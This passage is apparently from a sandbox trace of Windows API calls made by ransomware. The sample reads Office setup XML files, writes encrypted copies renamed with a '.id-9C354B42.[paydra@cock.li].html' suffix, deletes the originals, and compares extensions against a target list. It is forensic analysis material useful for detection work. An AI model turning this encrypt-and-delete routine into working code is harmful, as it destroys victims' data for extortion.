(hObject=0x1c0) returned 1 [0041.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0041.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.520] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.520] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.520] GetLastError () returned 0x0 [0041.520] ReadFile (in: hFile=0x1c0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1861, lpOverlapped=0x0) returned 1 [0041.521] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0041.522] ReadFile (in: hFile=0x1c0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.522] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.522] SetEndOfFile (hFile=0x1e8) returned 1 [0041.523] CloseHandle (hObject=0x1e8) returned 1 [0041.523] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.523] SetEndOfFile (hFile=0x1c0) returned 1 [0041.524] CloseHandle (hObject=0x1c0) returned 1 [0041.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.524] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0041.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.525] lstrlenW (lpString=".doc") returned 4 [0041.525] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.525] lstrlenW (lpString=".docx") returned 5 [0041.525] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.525] lstrlenW (lpString=".pdf") returned 4 [0041.525] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.525] lstrlenW (lpString=".xls") returned 4 [0041.525] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.525] lstrlenW (lpString=".xlsx") returned 5 [0041.525] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.525] lstrlenW (lpString=".ppt") returned 4 [0041.525] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.525] lstrlenW (lpString=".zip") returned 4 [0041.525] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.525] lstrlenW (lpString=".rar") returned 4 [0041.525] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.525] lstrlenW (lpString=".bz2") returned 4 [0041.525] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.525] lstrlenW (lpString=".7z") returned 3 [0041.525] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.525] lstrlenW (lpString=".dbf") returned 4 [0041.525] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.525] lstrlenW (lpString=".1cd") returned 4 [0041.525] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.525] lstrlenW (lpString=".jpg") returned 4 [0041.525] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.526] lstrlenW (lpString=".doc") returned 4 [0041.526] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.526] lstrlenW (lpString=".docx") returned 5 [0041.526] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.526] lstrlenW (lpString=".pdf") returned 4 [0041.526] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.526] lstrlenW (lpString=".xls") returned 4 [0041.526] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.526] lstrlenW (lpString=".xlsx") returned 5 [0041.526] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.526] lstrlenW (lpString=".ppt") returned 4 [0041.526] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.526] lstrlenW (lpString=".zip") returned 4 [0041.526] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.526] lstrlenW (lpString=".rar") returned 4 [0041.526] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.526] lstrlenW (lpString=".bz2") returned 4 [0041.526] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.526] lstrlenW (lpString=".7z") returned 3 [0041.526] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.526] lstrlenW (lpString=".dbf") returned 4 [0041.526] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.526] lstrlenW (lpString=".1cd") returned 4 [0041.526] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0041.526] lstrlenW (lpString=".jpg") returned 4 [0041.526] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.526] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.527] lstrlenW (lpString="VisioMUI.XML") returned 12 [0041.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.528] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=9503) returned 1 [0041.528] CloseHandle (hObject=0x1c0) returned 1 [0041.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0041.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.528] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.528] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.529] GetLastError () returned 0x0 [0041.529] ReadFile (in: hFile=0x1c0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x251f, lpOverlapped=0x0) returned 1 [0041.531] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0041.532] ReadFile (in: hFile=0x1c0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.532] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.532] SetEndOfFile (hFile=0x1e8) returned 1 [0041.532] CloseHandle (hObject=0x1e8) returned 1 [0041.533] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.533] SetEndOfFile (hFile=0x1c0) returned 1 [0041.533] CloseHandle (hObject=0x1c0) returned 1 [0041.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.534] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0041.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.534] lstrlenW (lpString=".doc") returned 4 [0041.534] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.534] lstrlenW (lpString=".docx") returned 5 [0041.534] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.534] lstrlenW (lpString=".pdf") returned 4 [0041.534] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.534] lstrlenW (lpString=".xls") returned 4 [0041.534] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.534] lstrlenW (lpString=".xlsx") returned 5 [0041.534] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.534] lstrlenW (lpString=".ppt") returned 4 [0041.534] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.534] lstrlenW (lpString=".zip") returned 4 [0041.534] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.534] lstrlenW (lpString=".rar") returned 4 [0041.534] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.535] lstrlenW (lpString=".bz2") returned 4 [0041.535] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.535] lstrlenW (lpString=".7z") returned 3 [0041.535] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.535] lstrlenW (lpString=".dbf") returned 4 [0041.535] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.535] lstrlenW (lpString=".1cd") returned 4 [0041.535] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.535] lstrlenW (lpString=".jpg") returned 4 [0041.535] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.535] lstrlenW (lpString=".doc") returned 4 [0041.535] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.535] lstrlenW (lpString=".docx") returned 5 [0041.535] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.535] lstrlenW (lpString=".pdf") returned 4 [0041.535] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.535] lstrlenW (lpString=".xls") returned 4 [0041.535] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.535] lstrlenW (lpString=".xlsx") returned 5 [0041.535] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.535] lstrlenW (lpString=".ppt") returned 4 [0041.535] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.535] lstrlenW (lpString=".zip") returned 4 [0041.535] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.535] lstrlenW (lpString=".rar") returned 4 [0041.535] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.535] lstrlenW (lpString=".bz2") returned 4 [0041.535] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.536] lstrlenW (lpString=".7z") returned 3 [0041.536] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.536] lstrlenW (lpString=".dbf") returned 4 [0041.536] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.536] lstrlenW (lpString=".1cd") returned 4 [0041.536] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0041.536] lstrlenW (lpString=".jpg") returned 4 [0041.536] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.536] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.536] lstrlenW (lpString="SETUP.XML") returned 9 [0041.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.537] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=20577) returned 1 [0041.537] CloseHandle (hObject=0x1c0) returned 1 [0041.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0041.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.537] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.537] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.538] GetLastError () returned 0x0 [0041.538] ReadFile (in: hFile=0x1c0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5061, lpOverlapped=0x0) returned 1 [0041.540] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0041.541] ReadFile (in: hFile=0x1c0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.541] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.541] SetEndOfFile (hFile=0x1e8) returned 1 [0041.541] CloseHandle (hObject=0x1e8) returned 1 [0041.542] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.542] SetEndOfFile (hFile=0x1c0) returned 1 [0041.543] CloseHandle (hObject=0x1c0) returned 1 [0041.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.543] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0041.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.543] lstrlenW (lpString=".doc") returned 4 [0041.543] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.543] lstrlenW (lpString=".docx") returned 5 [0041.543] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.543] lstrlenW (lpString=".pdf") returned 4 [0041.543] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.544] lstrlenW (lpString=".xls") returned 4 [0041.544] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.544] lstrlenW (lpString=".xlsx") returned 5 [0041.544] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.544] lstrlenW (lpString=".ppt") returned 4 [0041.544] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.544] lstrlenW (lpString=".zip") returned 4 [0041.544] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.544] lstrlenW (lpString=".rar") returned 4 [0041.544] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.544] lstrlenW (lpString=".bz2") returned 4 [0041.544] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.544] lstrlenW (lpString=".7z") returned 3 [0041.544] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.544] lstrlenW (lpString=".dbf") returned 4 [0041.544] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.544] lstrlenW (lpString=".1cd") returned 4 [0041.544] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.544] lstrlenW (lpString=".jpg") returned 4 [0041.544] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.544] lstrlenW (lpString=".doc") returned 4 [0041.544] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.544] lstrlenW (lpString=".docx") returned 5 [0041.544] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.544] lstrlenW (lpString=".pdf") returned 4 [0041.544] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.545] lstrlenW (lpString=".xls") returned 4 [0041.545] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.545] lstrlenW (lpString=".xlsx") returned 5 [0041.545] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.545] lstrlenW (lpString=".ppt") returned 4 [0041.545] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.545] lstrlenW (lpString=".zip") returned 4 [0041.545] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.545] lstrlenW (lpString=".rar") returned 4 [0041.545] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.545] lstrlenW (lpString=".bz2") returned 4 [0041.545] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.545] lstrlenW (lpString=".7z") returned 3 [0041.545] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.545] lstrlenW (lpString=".dbf") returned 4 [0041.545] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.545] lstrlenW (lpString=".1cd") returned 4 [0041.545] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 